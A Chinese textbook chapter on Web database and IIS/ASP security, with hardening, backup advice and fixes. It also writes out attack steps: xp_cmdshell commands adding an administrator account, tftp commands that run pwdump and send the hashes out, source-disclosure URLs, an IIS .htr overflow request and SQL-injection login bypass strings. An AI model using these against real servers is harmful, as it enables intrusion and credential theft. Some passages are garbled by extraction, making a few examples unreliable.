第 9章 Web数据库安全性
本章内容,
l 数据库安全概述
l Access数据库可能被下载的漏洞
l SQL数据库安全
l 数据库的备份
l IIS的安全性分析
l ASP漏洞及解决方法
l IIS,ASP的安全问题一点建议
近年来, 安全问题逐步成为企业信息主
管关注和讨论的焦点 。
一个好的安全解决方案离不开适当的安
全目标和策略, 而围绕企业重点资产和高风
险威胁所进行的风险评估则是规划的基础 。
在规划企业安全时会考虑众多威胁, 绝
大多数企业甚至是聘请的安全公司, 往往把
注意力集中于网络和操作系统安全, 而容易
忽视最重要的数据库安全 。
数据库安全是一个广阔的领域,它作为
操作系统之上的应用平台,其安全与网络和
主机安全息息相关。
9.1 数据库安全综述
9.1.1 为何需要数据库安全?
在计算机世界, 数据库显然存放着在线资源中
最真实和最有价值的那部分资产 。 在数据库中,
这些数据一旦遭受安全威胁将带来难以想象的严
重后果 。
企业对数据的一个最基本要求,就是要确保
它们能够在任何时候,被任何授权用户方便、高
效地访问。为此,企业会考虑创造多种对数据的
访问通道,并确保它们的安全。但是,这些通道
是动态的,即当网络扩展时,它们随之创建或改
变,并可能在未察觉和任何保护情形下不再可用。
通过对数据库自身的安全保护,企业将可以在数
据受到真正的威胁前设置最后一道防御屏障。
9.1.2 常见的数据库安全问题及原因
虽然数据库安全的需求很明显, 但多数企业还
是不愿在发生了无可挽回的事件之前就着手考虑
和解决相关的安全问题, 让我们考查以下可能危
及数据库安全的常见因素,
( 1) 脆弱的帐号设置 。
( 2) 缺乏角色分离 。
( 3) 缺乏审计跟踪 。
( 4) 未利用的数据库安全特征 。
9.1.3 数据库安全管理原则
一个强大的数据库安全系统应当确保其中信息
的安全性并对其有效地控制 。 下面列举的原则有
助于企业在安全规划中实现客户利益保障, 策略
制订以及对信息资源的有效保护 。
( 1) 管理细分和委派原则 。
( 2) 最小权限原则 。 许多新的保密规则针对对特
定数据的授权访问 。
( 3) 帐号安全原则 。 用户帐号对于每一个数据库
联接来说都是必须的 。 帐号应遵循传统的用户帐
号管理方法来进行安全管理 。
( 4)有效的审计。数据库审计是数据库安全的基
本要求。
9.2 Access数据库可能被下载的漏

一般来说,在提供 asp权限的 Web
服务器上不可能提供代为设定 DSN的
服务,使用的 ACCESS mdb数据库可
能被人下载,因此 asp程序使用的数据
库通常都局限在使用 mdb数据库,而
mdb远端数据库所在的位置是使用在第
8章数据库连接方法中讲到过的 DSN-
LESS方法直接在 asp中指定的,方法如
下,
< %
connstr = "DBQ="+server.mappath("database/source.mdb")+";
DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};
DriverId=25;FIL=MSAccess;ImplicitCommitSync=Yes;MaxB
ufferSize=512;
MaxScanRows=8;PageTimeout=5;SafeTransactions=0;Thread
s=3;UserCommitSync=Yes;"
%>
正如前文所言, 在这种情况下 mdb库很可能被他
人下载, 从而造成诸如密码等的泄露 。 所以, 应
该采取一定的措施严禁 code.asp之类的程序, 限制
mdb的下载 。
在用 Access做后台数据库时, 如果有人通过
各种方法知道或者猜到了服务器的 Access数据库
的路径和数据库名称, 那么他就能够下载这个
Access数据库文件, 这是非常危险的 。 比如:如
果 Access 数据 库 book.mdb 放 在虚 拟目 录下 的
database目录下, 那么有人在浏览器中打入,
http://someurl/database/book.mdb
如果 book.mdb数据库没有事先加密的话, 那
book.mdb中所有重要的数据都掌握在别人的手中 。
解决方法,
( 1) 为数据库文件名称起个复杂的非常规的名
字, 并把它放在多级目录下 。
( 2) 不要把数据库名写在程序中 。
( 3) 使用 ACCESS来为数据库文件编码及加密 。
首先在选取, 工具 ->安全 ->加密 /解密数据库, 选
取数据库 ( 如,employer.mdb),,然后按确定,
接着会出现, 数据库加密后另存为, 的窗口, 存
为,employer1.mdb。 接着 employer.mdb就会被编
码, 然后存为 employer1.mdb。
要注意的是, 以上的动作并不是对数据库设置密
码, 而只是对数据库文件加以编码, 目的是为了
防止他人使用别的工具来查看数据库文件的内容 。
接下来为数据库加密 。 首先以打开经过编码了的
employer1.mdb,在打开时, 选择, 独占, 方式 。
然后选取功能表的, 工具 ->安全 ->设置数据库密
码,, 接着输入密码即可 。
为 employer1.mdb设置密码之后, 接下来如果
再使用 Access数据库文件时, 则 Access会先要求输
入密码, 验证正确后才能够启动数据库 。
不过要在 ASP程序中的 connection对象的 open方
法中增加 PWD 的参数, 这样即使他人得到了
employer1.mdb 文件, 没有密码他是无法看到
employer1.mdb的 。 不过, 实际上已经有人编写出
专门破解 Access数据库密码的程序, 因此在使用时
应予以注意 。
9.3 SQL数据库安全
一般网站都是基于数据库的, 特别是 ASP、
PHP,JSP这样的用数据库来动态显示的网站 。 很
多网站可能多注意的是操作系统的漏洞, 但是对
数据库和这些脚本的安全总是忽略 。
对于 MS SQL Server数据库来说, 安全问题不
仅仅局限在脚本上了 。 微软的系统性很强, 整个
基于 Windows系统的应用都有很强的关联性, 对
SQL Server来说, 基本可以把数据库管理和系统管
理等同起来了 。
SQL Server默认的管理员帐号, sa”的密码是空
的, 这给多数 NT服务器产生一个安全漏洞 。 已经
有专用的程序, 能够利用获得的数据库管理员帐
号执行系统命令 。
在 SQL Server中有很多系统存储过程, 有些是
数据库内部使用的, 还有一些就是通过执行存储
过程来调用系统命令 。
9.3.1 系统存储过程,xp_cmdshell
就是以操作系统命令行解释器的方式执行给定
的命令字符串 。 具体语法是,
xp_cmdshell {'command_string'} [,no_output]
xp_cmdshell在默认情况下,只有 sysadmin 的成员
才能执行。但是,sysadmin也可以授予其他用户这
个执行权限。在早期版本中,获得 xp_cmdshell 执
行权限的用户在 SQL Server服务的用户帐户中运行
命令。可以通过配置选项配置 SQL Server,以便对
SQL Server 无 sa访问权限的用户能够在
SQLExecutiveCmdExec Windows NT 帐户中运行
xp_cmdshell。 在 SQL Server 7.0 中,该帐户称为
SQLAgentCmdExec。 现在对于 SQL Server2000,
只要有一个能执行该存储过程的帐号就可以直接
运行命令了。
对于 NT和 WIN2000,当用户不是 sysadmin组的
成员时, xp_cmdshell 将 模 拟 使 用
xp_sqlagent_proxy_account指定的 SQL Server代理程
序的代理帐户 。 如果代理帐户不能用, 则
xp_cmdshell将失败 。 所以即使有一个帐户是 master
数据库的拥有者, 也不能执行这个存储过程 。
如果有一个能执行 xp_cmdshell的数据库帐号,
比如是空口令的 sa帐号 。 那么就可以执行这样的命
令,
exec xp_cmdshell 'net user refdom 123456 /add'
exec xp_cmdshell 'net localgroup administrators
refdom /add'
上面两次调用就在系统的管理员组中添加了一
个用户,refdom。
获得了数据库的 sa管理员帐号后, 就应该可以
完全控制这个机器了, 可见数据库安全的重要性 。
下面这些存储过程都是对 Public可以执行的,
xp_fileexist 用来确定一个文件是否存在 。
xp_getfiledetails 可以获得文件详细资料 。
xp_dirtree 可以展开你需要了解的目录, 获得所有
目录深度 。
xp_getnetname 可以获得服务器名称 。
还有可以操作注册表的存储过程, 这些不是对
Public可以执行的, 需要系统管理员或者授权执行:
xp_regaddmultistring
xp_regdeletekey
xp_regwrite
9.3.2 SQL Server的安全配置
除了及时安装补丁程序外, 还需要加强数据库
的安全 。
( 1) 首先, 需要加强象 sa这样的帐号的密码 。 跟
系统帐号的使用配置相似, 一般操作数据库不要
使用象 sa这样的最高权限的帐号, 而使用能满足你
的要求的一般帐号 。
( 2 ) 对扩 展存 储过 程进 行 处理 。 首 先就 是
xp_cmdshell,还有就是上面那些一大堆存储过程,
都删掉, 一般也用不着 。
执行,
use master
sp_dropextendedproc 'xp_cmdshell'
去掉 guest帐号, 阻止非授权用户访问, 同时也去
掉不必要的网络协议 。
( 3) 加强对数据库登陆的日志记录, 最好记录所
有登陆事件 。
( 4) 用管理员帐号定期检查所有帐号, 是否密码
为空或者过于简单 。
加强数据库的安全是非常重要的 。 类似 DNS、
MAIL等等, 数据库服务器往往成为各种入侵的跳
板 。 下面是搜集到的一些关于数据库的问题解答
及使用技巧,
( 1) 获得 sa权限后, 却不能执行 xp_cmdshell存储
过程 。
可能是已经把 xp_cmdshell等扩展存储过程删除了,
可以用这个存储过程把 xp_cmdshell恢复 。
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
( 2) 如何通过数据库用 pwdump获得系统管理员
密码 。
先上传一个 pwdump
tftp -i GET pwdump3.exe pwdump3.exe
tftp -i GET lsaext.dll lsaext.dll
tftp -i GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp PUT outfile.txt outfile.txt
然后再用解密工具破解这些密码 。
( 3) 如何从数据库读取系统管理员密码 。
能读出加密的密码是 NT 的管理员
( administrator) 帐号也不能做的 。 SQL Server能
读出来是, LocalSystem” 帐号, 这个帐号比
administrator更高一级 。
9.4 数据库的备份
9.4.1 数据备份的重要性和必要性
在当今信息社会,最珍贵的财产并
不是计算机软件,更不是计算机硬件,
而是企业在长期发展过程中所积累下来
的业务数据。建立网络最根本的用途是
要更加方便地传递与使用数据,但人为
错误、硬盘损坏、电脑病毒、断电或是
天灾人祸等等都有可能造成数据的丢失。
所以应该强调指出:, 数据是资产,备
份最重要, 。
应当理解备份意识实际上就是数据的保护意识,
在危机四伏的网络环境中, 数据随时有被毁灭的
可能 。 由于我国目前软件盗版现象还没有得到彻
底的解决, 而且大部分的盗版软件中都隐藏着致
命的病毒, 这就不可避免的对使用这些软件的用
户构成极大的潜在威胁 。 而且, 由于病毒本身所
具有的智能性与可移植性, 很可能在一瞬间这些
病毒便会殃极整个网络 。 尽管现在的杀毒软件层
出不穷, 但可以肯定的讲, 无论这些软件的功能
如何强大, 人们永远也不可能杀尽所有的病毒,
因为病毒的更新速度要永远快于杀毒软件的更新
速度 。 从这个意议上讲, 对数据进行备份是非常
必要的 。
当今在发达国家, 几乎每一个网络都会配置一
些专用的外部存储设备, 而这些设备确实在不少
灾难性的数据失事中发挥了扭转乾坤的作用 。 实
际上, 这些备份装置的费用只占服务器硬件的 10%,
而它却能为用户提供 100%的数据保护, 从而避免
10倍甚至百倍的经济损失 。
9.4.2 威胁数据安全的因素分析
曾有一位计算机专家说过, 系统灾难的发生,
不是是否会, 而是迟早的问题 。 造成系统数据丢
失的原因很多, 有些还往往被人们忽视 。 正确分
析威胁数据安全的因素, 能使系统的安全防护更
有针对性 。 导致系统失效的因素主要有以下方面 。
( 1) 系统物理故障
主要是系统设备的运行损耗, 存储介质失效, 运
行环境 (温度, 湿度, 灰尘等 )对计算机设备的影
响, 电源供给系统故障, 人为的破坏等 。
( 2) 系统软件设计的缺陷
现今操作系统环境和应用软件种类繁多, 结构复
杂 。 软件设计上的缺陷也会造成系统无法正常工
作 。 另外, 版本的升级, 程序的补丁等都会对系
统造成影响 。
( 3) 使用人员人为失误
由于操作不慎,使用者可能会误删除系统的重要
文件,或者修改了影响系统运行的参 数,以及没
有按照规定要求、操作不当导致系统失灵。
( 4) 计算机病毒
近年来, 由于计算机病毒感染而破坏计算机系统,
造成重大经济损失的事件屡屡发生, 给计算机技
术的应用发展蒙上阴影 。 计算机病毒具有自我复
制能力, 品种繁多, 感染性强, 特别是在网络环
境下, 传播扩散速度更快, 令人防不胜防 。
( 5) 黑客入侵
伴随着 Internet的发展, 网络黑客对计算机系统的
攻击也成为一大安全隐患 。
( 6) 自然灾害
首先,地理环境决定了我国具有较高的自然灾害
发生率,如地震、严重的洪涝灾害等。其次,火
灾也是一大隐患。火灾的发生概率要比自然灾害
高的多。一般来讲,一个大型城市每年平均都会
发生几百起火灾事故。虽然灾害与其他因素相比
发生的频率并不高,但这样的灾害只要发生一次,
就会给网络带来毁灭性的打击。
9.4.3 网络数据备份的内容及方法
备份就是保留一套现有系统的后备系统,这
套后备系统或者是与现有系统一模一样,或者具
有能够代替现有系统的功能。一个完善的网络数
据备份应包括硬件物理容错和软件级数据备份,
并且能够自动地跨越整个系统网络平台,主要包
括以下几个方面,
( 1) 构造双机容错系统
在网络中, 最关键的网络设备是文件服务器,
为了保证网络系统连续运行, 必须采用文件服务
器双机热备份容错技术, 以解决硬件的故障 。 从
物理上保证系统软件所需的运行环境 。 但这种硬
件的物理备份并不能消除网络的逻辑错误, 当人
为的逻辑错误发生时, 双机热备份只会将错误重
复一遍 。
( 2) 多平台系统文件备份
一个理想的网络数据备份方案,是指能够在
一台机器上自动地跨平台地实现整个网络的系统
文件备份,包括各平台的系统配置、存储分配和
设备表。因为网络数据备份通常使用专用设备,
不可能为每个系统平台或关键的计算机都配置专
用备份设备,所以用网络进行高速备份是网络数
据备份方案所必须考虑的功能。
( 3) 各类数据库的备份
随着信息资源呈海量之势增加, 各类数据库
越来越复杂和庞大, 单纯使用备份文件的简单方
式来备份数据已不再适用, 能否将所需要的数据
从庞大的数据库文件中抽取出来进行备份, 是网
络数据库备份的重要一环 。
( 4) 网络故障和灾难恢复
网络数据备份的最终目的是保障网络系统安全
运行 。 当网络系统出现逻辑错误时, 网络数据
备份系统能够根据备份的系统文件和各类数据库
文件在最短的时间内迅速恢复网络系统 。
( 5) 备份任务管理
对于网络管理员来说,备份是一项繁重的任
务,需要完成大量的手工操作,费时费力。因此,
网络备份应具备实现定时和实时自动备份,从而
减轻管理员的负担并消除手工操作带来的失误。
利用 SQL SERVER 2000所提供的, 数据库维护计
划器,,可以实现数据自动备份功能。
9.4.4 树立正确的备份观念
很多计算机用户和管理人员虽然认识到备份
的重要性, 具备一定的备份概念, 但仍存在一些
误区 。 有的用户认为备份就是简单地做一份拷贝,
因而往往达不到实际要求, 或是陷入繁琐耗时的
手工操作中 。 备份并不仅仅是执行拷贝指令或程
序, 一个完整的备份方案大致应具备以下特点,
( 1) 保证数据资料的完整性 。
( 2) 能自动排程设定, 实现备份任务的管理 。
( 3) 能对不同的存储介质进行有效管理 。
( 4) 支持多种操作系统平台 。
( 5) 操作简便, 易于实现 。
除了技术上的要求外, 制定周密的计划也很重
要 。 有些系统人员不大重视备份计划的设计, 缺
乏完整的规划和策略, 使得备份效果大打折扣 。

注意备份过程可能对一些应用系统有影响, 要针
对系统运行情况, 合理安排备份时段, 避免与应
用程序发生冲突 。 总之, 备份方案是存储设备,
备份工具, 运作方式, 恢复重建方法, 操作性,
可靠性等方面的综合考虑 。
随着网络的不断投入和扩大, 计算机网络的安
全, 数据资源的安全日益重要 。 规划一套完整的
备份方案并付诸实施, 系统数据安全才会得到有
效的保障 。
9.5 IIS的安全性
现在很多网站, 特别是电子商务方面的网站,
在前台上大都用 ASP来实现, 以至于 ASP在网站应
用上十分普遍 。
ASP是开发网站应用的快速工具, 但是有些网
站 管理员只看到 ASP的快速开发能力, 却忽视了
ASP安全问题 。 通过 asp,可能可以很方便地入侵
Web服务器, 窃取服务器上的文件, 捕获 Web 数
据库等系统的用户口令, 甚至恶意删除服务器上
的的文件, 直至造成系统损坏 。
虽然 WINDOWS NT Option Pack所带的 Microsoft
IIS提供了强大的功能,但是 IIS在网络安全方面却
是比较危险的。因为很少有人会用 Windows 95/98
当服务器,因此重点是 NT中的 IIS安全问题。
IIS支持虚拟目录,通过在“服务器属性”对
话框中的“目录”标签可以管理虚拟目录。
首先,虚拟目录隐藏了有关站点目录结构的重
要信息。
其次,只要两台机器具有相同的虚拟目录,就
可以在不对页面代码做任何改动的情况下,将 Web
页面从一台机器上移到另一台机器。
第三,当将 Web页面放置于虚拟目录下后,可以
对目录设置不同的属性 。 当需要使用 ASP时,必须
将存放,asp文件的目录设置为“执行”。因此,
建议在设置 Web站点时,将 HTML与 ASP文件分开放
置在不同的目录下,然后将 HTML子目录设置为
“读”,将 ASP子目录设置为“执行”,不仅方便
了对 Web的管理,而且提高了 ASP程序的安全性,
防止程序内容被
客户所访问 。
尽管微软称 ASP在网络安全方面的一大优点就
是用户不能看到 ASP的源程序,因为从 ASP的原理
上看,ASP在服务端执行并解释成标准的 HTML语句,
再传送给客户端浏览器。, 屏蔽, 源程序能很好
地维护 ASP开发人员的版权,避免黑客通过分析
ASP程序,挑出漏洞。更重要的是有些 ASP开发者
喜欢把密码,有特权的用户名和路径直接写在程
序中,这样别人通过猜密码、猜路径,很容易找
到攻击系统的, 入口,,这也恰恰是其安全隐患。
但是目前已经发现了很多能查看 ASP源程序的漏洞,
IIS提供利用 ASP而动态产生网页的服务。一个
ASP文件,就是一个在 HTML 网页中,直接内含
程序代码的文件。回询( request) 一个 ASP 文件,
会促使 IIS 运行网页中内嵌的程序代码,然后将其
运行结果直接回送到浏览器上。另一方面,静态
的 HTML 网页,是按照其原来的样子回传到浏览
器上面,没有经过任何的解析处理。在这里,IIS
是利用档案的附加档名来区别档案的形态。一个
附加档名为,htm 或,html 的档案是属于静态的
HTML档案,而附加档名为,asp的档案则为一个
ASP档案,通过浏览器回询该档案,将不 会看到源
程序代码,而只能看到程序代码的执行结果。正
因为如此,这一个 ASP就给别人留了后门,或许在
所有网络安全漏洞里面,最不受重视的就是未经
过解析的文件内容或程序代码无意中被显示出来
的安全漏洞。简单的说,这些安全漏洞允许使用
者从网页服务器骗取动态网页里面的程序代码。
看见源代码似乎觉得并没有什么大碍,但如果 ASP
程序员将站点的登陆密码直接写在 asp文件里,那
么一旦源码被发现,他人就可以很容易地进入本
不该被看到的页面,而且很多数据库的连接用户
名和密码也都是直接写在 asp文件里,一旦被发现,
如果数据库允许远程访问而且没有设防的话就相
当危险了。在一些用 ASP开发的 BBS程序中,往往
使用的是 access mdb数据库,如果 mdb库存放的路
径被获知,数据库就很有可能轻易地被他人下载,
加之如果数据库里含有的密码不加密,那就非常
危险了,获取密码的人如果有意进行恶意破坏,
他只需要以管理员身份登陆就可删除所有 BBS里的
帖子。
下一节从开放了 ASP服务的操作系统漏洞和
ASP程序本身漏洞入手,阐述 ASP安全问题,并给
出解决方法或建议。
9.6 ASP漏洞及解决方法
有人说一台不和外面联系的电脑是最安全的电
脑, 一个关闭了所有端口, 不提供任何服务的电脑
也是最安全的 。 黑客经常利用我们所开放的端口实
施攻击, 这些攻击最常见的是 DoS( 拒绝服务攻
击 ) 。 下面列出了 ASP中一些已知的漏洞 。
9.6.1 特殊符号对安全的影响
通过在 ASP程序后加个特殊符号, 就能看到
ASP源程序 。 IIS2,IIS3,IIS4的一个广为人知的漏
洞就是,:$DATA,通过它使用 IE中的, 查看源程序,
或 Netscape直接访问该 asp文件就能轻而易举地看到
asp代码 。
受影响的版本有,Win95+pws,IIS 3.0。 98+pws4、
IIS4.0以上的版本也不存在这个漏洞 。
这些特殊符号包括小数点, %81,::$DATA。 比如,
http://someurl/somepage.asp,
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
那么在安装有 IIS3.0和 Win95+PWS的浏览中就很容
易看到 somepage.asp的源程序。究其根源是因为
Windows NT的特有的 FAT文件系统,NTFS,这种
被称之为新技术文件系统的技术使得 NT 具有了
较高的安全机制,但也正是因为它而产生了不少
令人头痛的隐患。 NTFS支持包含在一个文件中的
多数据流,而这个包含了所有内容的主数据流被
称之为, DATA”,因此使得在浏览器里直接访问
NTFS系统的这个特性而轻易的捕获在文件中的脚
本程序成为了可能。然而,直接导致,:$DATA的原
因是由于 IIS在解析文件名的时候出了
问题, 它没有很好地规范文件名 。
解决方法和建议,
( 1) 将,asp 文件存放的目录设置为不可读 ( ASP
仍能执行 ), 这样 html,css等文件就不能放在这
个目录下, 否则它们将不能被浏览 。
( 2) 访问微软的官方网站, 下载并安装对应系统
的补丁程序 。
9.6.2 code.asp文件对安全的影响
在微软提供的 ASP1.0的例程里有一个,asp文
件专门用来查看其它 asp文件的源代码, 该文件为
ASPSamp/Samples/code.asp。 如果有人把这个程
序上传到服务器, 而服务器端没有任何防范措施
的话, 他就可以很容易地查看他人的程序 。 例如:
code.asp?source=/directory/file.asp
这是个比较旧的漏洞了, 相信现在很少会出现这
种漏洞 。
下面这命令是比较新的,
http://someurl/iissamples/exair/howitworks/
code.asp?/lunwen/soushuo.asp=xxx.asp
如果 asa文件可以被上述方式读出, 数据库密码
将以明文形式暴露在黑客眼前 。 因此, 对于 IIS自
带的 show asp code的 asp程序文件, 删除该文件
或者禁止访问该目录 。
9.6.3 filesystemobject 组件对安全的影响
IIS3,IIS4 的 ASP的文件操作都可以通过
filesystemobject实现, 包括文本文件的读写目
录操作, 文件的拷贝, 改名及删除等, 但是这个
强大的功能也留下了非常危险的, 后门, 。 利用
filesystemobjet可以篡改下载 FAT分区上的任何
文件 。 即使是 NTFS分区, 如果权限没有设定好的
话, 同样也能被破坏 。 遗憾的是很多管理员只知
道让 Web服务器运行起来, 很少对 NTFS进行权限设
置, 而 NT目录权限的默认设置偏偏安全性又低得
可怕 。 因此, 密切关注服务器的设置很重要, 尽
量将 Web目录建在 NTFS分区上, 目录不要设定
Everyone完全控制, 即使是管理员组的成员一般
也没什么必要完全控制, 只要有读取, 更改权限
就足够了 。 也可以把 filesystemobject的组件删
除或者改名 。
9.6.4 HTML语句或者 Javascript语句对安全的影

ASP应用程序可能面临的攻击 。 过去许多
Internet上用 CGI写的留言本或 BBS是把客户输入
的留言赋给一个变量, 然后再把这个变量插入到
显示留言的 HTML文件里, 因此客户输入的文本如
要在 HTML文件里显示就得符合 HTML标准, 而 CGI程
序里一般都加入了特定的 HTML语言 。 当客户输入
内容, 插入 HTML文件时, 即同时插入到了头尾
HTML语句中 。
9.6.5 Index Server服务对安全的影响
在运行 IIS 4或者 IIS 5的 Index Server,输入
特殊的字符格式可以看到 ASP源程序或者其它页面
的程序, 甚至已经添加了关于参看源代码的补丁
程序的系统, 或者没有,htw文件的系统, 一样存
在该问题 。
通过构建下面的特殊程序可以参看该程序源
代码,
http://someurl
/null.htw?CiWebHitsFile=/default.asp&CiRest
riction=none&CiHiliteType=Full
这样只是返回一些 html格式的文件代码, 但是当
添加 %20到 CiWebHitsFile的参数后面 。
由于, null.htw”文件并非真正的系统映
射文件, 只是一个储存在系统内存中的虚拟
文件 。 哪怕已经从系统中删除了所有的真实
的,htw文件, 但是由于对 null.htw文件的请
求默认是由 webhits.dll来处理 。 所以, IIS
仍会受到该漏洞的威胁 。
问题解决或者建议,
如果该 webhits提供的功能是系统必须的,
请下载相应的补丁程序。如果没必要,请用
IIS的 MMC管理工具简单地移除,htw的映象文
件。
9.6.6 IIS Web Server DoS
默认情况下, IIS容易被拒绝服务攻击 。 如果
注册表中有一个叫, MaxClientRequestBuffer”的
键未被创建, 则针对 NT系统的这种攻击通常能奏
效 。, MaxClientRequestBuffer”这个键用于设置
IIS允许接受的输入量 。 如果设置为 256( 字节 ),
则攻击者通过输入大量的字符请求, IIS将被限制
在 256字节以内 。 而系统的缺省设置对此不加限制,
因此, 利用特殊的程序, 就可以很容易地对 IIS
Server实行 DoS攻击, 导致 NT系统的 CPU占用率达
到 100%。 解决方案,
运行 Regedt32.exe程序, 在
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
\Services\w3svc\parameters
增加一个值,
Value Name,MaxClientRequestBuffer
Data Type,REG_DWORD 设置为十进制,具体数
值设置为想设定的 IIS允许接受的 URL最大长度。
CNNS的设置为 256。
9.6.7 MS ODBC数据库连接溢出导致 NT/9x
拒绝服务攻击
Microsoft ODBC数据库在连接和断开时可能存
在潜在的溢出问题 ( Microsoft ACCESS数据库相
关 ) 。 如果不取消连接而直接和第二个数据库相
连接, 可能导致服务停止 。
影响系统,
ODBC 版本,3.510.3711.0
ODBC Access驱动版本,3.51.1029.00
OS 版本, Windows NT 4.0 Service Pack 5,
IIS 4.0 (i386)
Microsoft Office 97 Professional
( MSO97.dll,8.0.0.3507)
漏洞检测方法如下,
ODBC 连接源名称,miscdb
ODBC 数据库型号,MS Access
ODBC 假设路径,d,\data\misc.mdb
ASP代码如下,
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver
(*.mdb)}; DSN=miscdb,
%>
<html>
<body>
...lots of html removed..,
<!-- We Connect to DB1 -->
<%
set connGlobal =
server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct
file access -->
<%
set connGlobal =
server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver
(*.mdb)};
DBQ=d,\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
在这种情况下, IIS处理进程将会停顿, CPU
使用率由于 inetinfo.exe进程将达到 100%。 只有
重新启动计算机才能恢复 。
9.6.8 IIS Server 4.0中的, 非法 HTR请求, 缺

该漏洞导致对于 IIS服务器的, 服务拒绝攻
击, 。 在这种情况下, 可能导致任何 2进制代码在
服务器上运行 。 黑客可以利用这一漏洞对 IIS服务
器进行完全的控制 。
IIS支持多种需要服务器端处理的文件类型,
譬如,ASP,ASA,IDC,HTR,当一个 Web用户从客
户端请求此类文件时, 相应的 DLL文件将自动对其
进行处理 。 然而在 ISM.DLL这个负责处理 HTR文件
的文件中, 被发现存在严重的安全漏洞 。 ( 注:
HTR文件本身是用来远程管理用户密码的 )
该漏洞包含了一个在 ISM.DLL中未经验证的缓
冲, 它可能对 Web服务器的安全运作造成两方面的
威胁 。 首先, 是来自服务拒绝攻击的威胁, 一个
来自非正常的对,HTR文件请求将导致缓存溢出,
从而直接导致 IIS崩溃 。 当这种情况发生时, 无须
重启服务器, 但是 IIS Web 服务必须重新启动 。
另外, 通过使用一个精心构建过的文件请求将可
以利用标准的缓存溢出手段导致 2进制代码在服务
器端运行, 这种情况是很危险的 。 该漏洞不包括
提供用来管理用户密码的功能的,HTR文件 。
至少在一个 IIS的扩展名中 (例如,ASP,IDC
及 HTR)存在溢出 。 推测溢出将在 IIS把完整的 URL
传递给 DLL去处理扩展名时发生 。 如果 ISAPI DLL
没有正确的检查限制范围从而导致 INETINFO.EXE
产生一个溢出,用户就从可以远端执行 2进制代码 。
攻击方法:向 IIS发一个如下的 HTTP请求:, GET
/[overflow].htr HTTP/1.0”,IIS将崩溃 。 这里的
[overflow]可以是 3K长的代码 。
IIS具有让 NT用户通过 Web目录 /iisadmpwd/更
改自己口令的能力 。 而这个功能正是由一组,HTR
文件和 ISAPI的一个扩展 DLL——ISM.DLL实现的 。
当一个完整的 URL传递到 ISM.DLL时, 由于没有适
当的大小限制的检查, 就会导致溢出产生, 从而
使得服务器崩溃 。 HTR/ISM.DLL ISAPI 是 IIS4缺
省安装 。
解决途径,
( 1) 将,HTR扩展名从 ISAPI DLL 的列表中删除
在 NT桌面上,点击, 开始, →, 程
序, →, Windows NT 4.0 Option
Pack”→,Microsoft Internet Information
Server”→,Internet 服务管理器, ;双击
,Internet Information Server”; 鼠标右键单击
计算机名称并选择, 属性, ;在, 主属性, 下拉
式菜单中选择, WWW服务,
并点击, 编辑, 按钮;选择, 主目录, 文件夹,
并点击, 配置, 按钮, 在, 应用程序映射, 列表
框中选中,HTR的相关映射, 选择, 删除,, 并确
定 。
( 2) 安装微软提供的补丁程序 。
9.6.9 ASP程序密码验证漏洞
使用以下 sql语句 (以 asp为例 ),
sql="select from user where username='"&username&"'and
pass='"& pass &'"
此时, 只要根据 sql构造一个特殊的用户名和密码,
此时, 程序将会变成这样,
sql="select * from username
where username="&ben 'or '1'='1&" and pass="&pass&"
or是一个逻辑运算符, 只要其中一个条件成
立, 那么等式将会成立 。 而在 SQL语言中, 是以 1
来代表真的 (成立 ),那么在这行语句中, 原语句
的, and”验证将不再
继续, 因为 "1=1"和 "or"令语句返回为真值,。
另外也可以构造以下的用户名,
username='aa' or username<>'aa'
pass='aa' or pass<>'aa'
相应地在浏览器端的用户名框内写入,aa? or
username<>?aa,口令框内写入,aa? or
pass<>?aa,注意这两个字符串两头是没有单引号
的 ‘ 的。这样就可以骗过系统。
后一种方法理论虽然如此, 但要实践是非常困
难的, 必须具备下面两个条件,
( 1) 能够准确的知道系统在表中是用哪两个字段
存储用户名和口令的, 只有这样才能准确的构造
出这个进攻性的字符串 。 实际上这是很难猜中
的 。
( 2) 输入的字符串不进行有效性检查 。
问题解决和建议,
对输入的内容进行验证和单引号, '” 号的处理。
9.7 IIS,ASP的安全性问题的一点建

一个 Web开发者或 ASP程序员进行网络编
程, 开发交互性的网站都是建立在安全的基础
上, 这里的安全包括对开发的 ASP或其它网络
应用程序代码的保护, 确保网站服务器安全正
常的运行, 确保用户信息的安全及认证等等 。
在今后电子商务成为真正广泛运作的一种
商务运行手段后,安全性更是关键之关键。因
此熟悉系统的运作,及时了解系统漏洞、第一
时间解决安全性问题就显得十分重要和必要,
因此在本章的结尾,提出一些关于 NT,IIS系
统配置的安全性建议。
( 1) 使用最新版本的 Microsoft Internet Information
Server,并安装 NT最新版本的 Service Pack,服务
器的文件系统不要使用 FAT,应该使用 NTFS。
( 2) 把 IIS中的 sample,scripts,iisadmin和 msadc
等 Web目录设置为禁止匿名访问并限制 IP地址 。 在
微软还没有提供补丁之前, 把 ism.dll有关的应用程
序映射删除 。
( 3) 有条件的话就采用防火墙机制, 最简单的如
Web服务开在前台, 目录放在后台, 如果能一个服
务一台机器当然最好 。
( 4) Web目录, CGI目录, scripts目录和 Winnt目
录等重要目录要用 NTFS的特性设置详细的安全权
限, 包含注册表信息的 Winnt目录只允许管理员完
全控制, 一般的用户只读的权限也不要给 。 凡是
与系统有关的重要文件, 除了 Administrator,其它
帐号都应该设置为只读权限, 而不是 Everyone完
全控制 。
